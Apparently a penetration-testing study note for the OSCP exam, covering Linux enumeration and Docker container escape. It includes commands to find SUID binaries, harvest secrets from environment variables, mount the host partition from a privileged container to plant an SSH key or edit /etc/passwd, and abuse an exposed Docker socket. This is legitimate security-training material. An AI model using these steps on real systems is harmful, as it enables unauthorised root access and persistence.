oscp/Necronomicon/Enumeration/Linux.md

• Find
  • Find SUID binaries
    • find / -perm -u=s -type f 2>/dev/null
  • Find SGID binaries
    • find / -perm -g=s -type f 2>/dev/null
  • Find sticky-bit binaries
    • find / -perm -1000 -type d 2>/dev/null
• Containerized environments (docker)
  • Determine whether you're in a containerized environment by evaluating the process with PID 1 in /proc
    • Command line attributes
      • cat /proc/1/cmdline
        • The command starting the first process in a typical Linux system will be /sbin/init or /usr/lib/systemd; in a container it will often be /bin/sh or /bin/bash
    • Control Groups
      • cat /proc/1/cgroup
        • There will be mentions of "docker" or the other containerization tool being used here
    • Mounts
      • cat /proc/1/mounts
        • Again, look for mentions of "docker" or similar
  • CHECK ENVIRONMENT VARIABLES - containers are usually passed important data for their application and basic operation through environment variables. You'll often find access keys, session tokens, secrets, Kubernetes information, and other stuff.
    • Look in .env files in application's directory
  • Privileged mode
    • Check for this by checking /dev; a typical docker container will only have a few devices listed in here, but a typical Linux system will have many. In a privileged container, you'll be able to see the many devices present on the main system.
      • tty devices are usually a dead giveaway to a privileged container
    • Exploitation
      • Privileged containers allow the container to modify any aspects of the home system. Mount the main partition and write an SSH key into /root/.ssh/authorized_keys, modify /etc/passwd, or whatever.
        1. Find main partition
           • fdisk -l
           • For Linux machines in AWS, the main device is usually /dev/xvda and the main partition is usually /dev/xvda1
        2. Mount the main partition
           • mkdir /mnt/cthulhu; mount <main_partition> /mnt/cthulhu
        3. Modify authorized_keys or /etc/passwd.
  • Capabilities
    • Check what capabilities your docker container has
      • cat /proc/self/status | grep Cap
    • Decode the capabilities to make them readable
      • capsh --decode=<hex_capability_identifier>
  • Docker socket
    • Docker exposes a REST API so that containers can communicate with the docker daemon on the host. If it can be reached from within the container, commands can be directed at Docker itself to start a privileged container and escalate permissions/escape.
    • Check for the docker socket from within container:
      • curl --unix-socket /var/run/docker.sock http://localhost/images/json
      • ls /var/run/docker.sock
      • mount | grep docker
    • Docker socket has to be interacted with through curl, but the basic command to start a privileged container with the socket mounted:
      • docker run --privileged 1 -v /:/hostOS -v /var/run/docker.sock:/var/run/docker.sock -v /usr/bin/docker:/usr/bin/docker -d <image>